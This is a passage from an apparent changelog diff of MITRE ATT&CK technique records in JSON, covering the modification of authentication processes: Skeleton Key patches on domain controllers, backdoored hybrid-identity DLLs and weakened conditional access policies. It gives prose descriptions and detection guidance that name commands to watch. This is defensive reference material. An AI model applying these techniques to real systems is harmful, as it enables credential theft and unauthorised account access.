>t Azure Serial Console)  Adversaries may also target central>t Azure Serial Console)  Adversaries may also target central
>ized logging infrastructure such as SIEMs. Logs may also be >ized logging infrastructure such as SIEMs. Logs may also be 
>bulk exported and sent to adversary-controlled infrastructur>bulk exported and sent to adversary-controlled infrastructur
>e for offline analysis.>e for offline analysis.  In addition to gaining a better und
 >erstanding of the environment, adversaries may also monitor 
 >logs in real time to track incident response procedures. Thi
 >s may allow them to adjust their techniques in order to main
 >tain persistence or evade defenses.(Citation: Permiso GUI-Vi
 >l 2023)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:01:56.887000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Modify Authentication Process", + "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556", + "external_id": "T1556" + }, + { + "source_name": "Clymb3r Function Hook Passwords Sept 2013", + "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", + "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/" + }, + { + "source_name": "Xorrior Authorization Plugins", + "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.", + "url": "https://xorrior.com/persistent-credential-theft/" + }, + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + }, + { + "source_name": "dump_pwd_dcsync", + "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.", + "url": "https://adsecurity.org/?p=2053" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Chris Ross @xorrior" + ], + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Process: Process Access", + "Logon Session: Logon Session Creation", + "Active Directory: Active Directory Object Modification", + "User Account: User Account Authentication", + "Process: OS API Execution", + "Windows Registry: Windows Registry Key Creation", + "File: File Creation", + "User Account: User Account Modification", + "File: File Modification", + "Module: Module Load", + "Cloud Service: Cloud Service Modification", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference. \n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nMonitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton) \n\nMonitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nMonitor for suspicious additions to the /Library/Security/SecurityAgentPlugins directory.(Citation: Xorrior Authorization Plugins)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nMonitor property changes in Group Policy that manage authentication mechanisms (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). The Store passwords using reversible encryption configuration should be set to Disabled. Additionally, monitor and/or block suspicious command/script execution of -AllowReversiblePasswordEncryption $true, Set-ADUser and Set-ADAccountControl. Finally, monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)\n", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS", + "Network", + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2024-04-11 21:51:44.851000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}, \"root['x_mitre_platforms'][7]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][6]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][4]\": \"Azure AD\", \"root['x_mitre_platforms'][5]\": \"Google Workspace\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1032: Multi-factor Authentication", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Authentication)", + "DS0002: User Account (User Account Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0011: Module (Module Load)", + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0025: Cloud Service (Cloud Service Modification)", + "DS0026: Active Directory (Active Directory Object Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2024-01-02 13:43:37.389000+00:00", + "modified": "2024-09-16 16:54:47.595000+00:00", + "name": "Conditional Access Policies", + "description": "Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\n\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \n\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/009", + "external_id": "T1556.009" + }, + { + "source_name": "AWS IAM Conditions", + "description": "AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html" + }, + { + "source_name": "GCP IAM Conditions", + "description": "Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January 2, 2024.", + "url": "https://cloud.google.com/iam/docs/conditions-overview" + }, + { + "source_name": "JumpCloud Conditional Access Policies", + "description": "JumpCloud. (n.d.). Get Started: Conditional Access Policies. Retrieved January 2, 2024.", + "url": "https://jumpcloud.com/support/get-started-conditional-access-policies" + }, + { + "source_name": "Microsoft Conditional Access", + "description": "Microsoft. (2023, November 15). What is Conditional Access?. Retrieved January 2, 2024.", + "url": "https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview" + }, + { + "source_name": "Okta Conditional Access Policies", + "description": "Okta. (2023, November 30). Conditional Access Based on Device Security Posture. Retrieved January 2, 2024.", + "url": "https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Gavin Knapp", + "Joshua Penny" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Object Modification", + "Cloud Service: Cloud Service Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Identity Provider" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:54:47.595000+00:00\", \"old_value\": \"2024-04-18 20:53:46.175000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\\n\\nFor example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \\n\\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.\", \"old_value\": \"Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\\n\\nFor example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \\n\\nBy modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may disable or modify conditional access policies to enable persistent access to compromised accounts. Conditional access policies are additional verifications used by identity providers and identity and access management systems to determine whether a user should be granted access to a resource.\\n \\n-For example, in Azure AD, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \\n+For example, in Entra ID, Okta, and JumpCloud, users can be denied access to applications based on their IP address, device enrollment status, and use of multi-factor authentication.(Citation: Microsoft Conditional Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional Access Policies) In some cases, identity providers may also support the use of risk-based metrics to deny sign-ins based on a variety of indicators. In AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary constraints such as the source IP, the date the request was made, and the nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM Conditions) These measures help to prevent compromised credentials from resulting in unauthorized access to data or resources, as well as limit user permissions to only those required. \\n \\n By modifying conditional access policies, such as adding additional trusted IP ranges, removing [Multi-Factor Authentication](https://attack.mitre.org/techniques/T1556/006) requirements, or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535), adversaries may be able to ensure persistent access to accounts and circumvent defensive measures.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['x_mitre_platforms'][1]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"SaaS\"}}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\"}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may disable or modify conditional access policiet1Adversaries may disable or modify conditional access policie
>s to enable persistent access to compromised accounts. Condi>s to enable persistent access to compromised accounts. Condi
>tional access policies are additional verifications used by >tional access policies are additional verifications used by 
>identity providers and identity and access management system>identity providers and identity and access management system
>s to determine whether a user should be granted access to a >s to determine whether a user should be granted access to a 
>resource.  For example, in Azure AD, Okta, and JumpCloud, us>resource.  For example, in Entra ID, Okta, and JumpCloud, us
>ers can be denied access to applications based on their IP a>ers can be denied access to applications based on their IP a
>ddress, device enrollment status, and use of multi-factor au>ddress, device enrollment status, and use of multi-factor au
>thentication.(Citation: Microsoft Conditional Access)(Citati>thentication.(Citation: Microsoft Conditional Access)(Citati
>on: JumpCloud Conditional Access Policies)(Citation: Okta Co>on: JumpCloud Conditional Access Policies)(Citation: Okta Co
>nditional Access Policies) In some cases, identity providers>nditional Access Policies) In some cases, identity providers
> may also support the use of risk-based metrics to deny sign> may also support the use of risk-based metrics to deny sign
>-ins based on a variety of indicators. In AWS and GCP, IAM p>-ins based on a variety of indicators. In AWS and GCP, IAM p
>olicies can contain `condition` attributes that verify arbit>olicies can contain `condition` attributes that verify arbit
>rary constraints such as the source IP, the date the request>rary constraints such as the source IP, the date the request
> was made, and the nature of the resources or regions being > was made, and the nature of the resources or regions being 
>requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM C>requested.(Citation: AWS IAM Conditions)(Citation: GCP IAM C
>onditions) These measures help to prevent compromised creden>onditions) These measures help to prevent compromised creden
>tials from resulting in unauthorized access to data or resou>tials from resulting in unauthorized access to data or resou
>rces, as well as limit user permissions to only those requir>rces, as well as limit user permissions to only those requir
>ed.   By modifying conditional access policies, such as addi>ed.   By modifying conditional access policies, such as addi
>ng additional trusted IP ranges, removing [Multi-Factor Auth>ng additional trusted IP ranges, removing [Multi-Factor Auth
>entication](https://attack.mitre.org/techniques/T1556/006) r>entication](https://attack.mitre.org/techniques/T1556/006) r
>equirements, or allowing additional [Unused/Unsupported Clou>equirements, or allowing additional [Unused/Unsupported Clou
>d Regions](https://attack.mitre.org/techniques/T1535), adver>d Regions](https://attack.mitre.org/techniques/T1535), adver
>saries may be able to ensure persistent access to accounts a>saries may be able to ensure persistent access to accounts a
>nd circumvent defensive measures.>nd circumvent defensive measures.
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0025: Cloud Service (Cloud Service Modification)", + "DS0026: Active Directory (Active Directory Object Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 19:05:02.399000+00:00", + "modified": "2024-08-21 15:26:54.386000+00:00", + "name": "Domain Controller Authentication", + "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/001", + "external_id": "T1556.001" + }, + { + "source_name": "Dell Skeleton", + "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.", + "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Process: Process Access", + "File: File Modification", + "Process: OS API Execution" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for calls to OpenProcess that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_permissions_required']\": [\"Administrator\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-21 15:26:54.386000+00:00\", \"old_value\": \"2021-04-20 20:10:26.613000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "changelog_mitigations": { + "shared": [ + "M1025: Privileged Process Integrity", + "M1026: Privileged Account Management", + "M1032: Multi-factor Authentication" + ], + "new": [ + "M1017: User Training" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Access)", + "DS0022: File (File Modification)", + "DS0028: Logon Session (Logon Session Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-09-28 13:29:53.354000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Hybrid Identity", + "description": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1556/007", + "external_id": "T1556.007" + }, + { + "source_name": "Azure AD Connect for Read Teamers", + "description": "Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022.", + "url": "https://blog.xpnsec.com/azuread-connect-for-redteam/" + }, + { + "source_name": "AADInternals Azure AD On-Prem to Cloud", + "description": "Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.", + "url": "https://o365blog.com/post/on-prem_admin/" + }, + { + "source_name": "MagicWeb", + "description": "Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM\u2019s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.", + "url": "https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/" + }, + { + "source_name": "Azure AD Hybrid Identity", + "description": "Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022.", + "url": "https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn" + }, + { + "source_name": "Mandiant Azure AD Backdoors", + "description": "Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.", + "url": "https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Module: Module Load", + "Application Log: Application Log Content", + "Logon Session: Logon Session Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2022-10-21 16:09:38.202000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \\n\\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):\\n\\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \\n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \\n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \\n\\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\\u2019 identity and privileges. \\n\\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\\n\\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)\", \"old_value\": \"Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \\n\\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\\n\\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \\n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \\n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \\n\\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\\u2019 identity and privileges. \\n\\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read 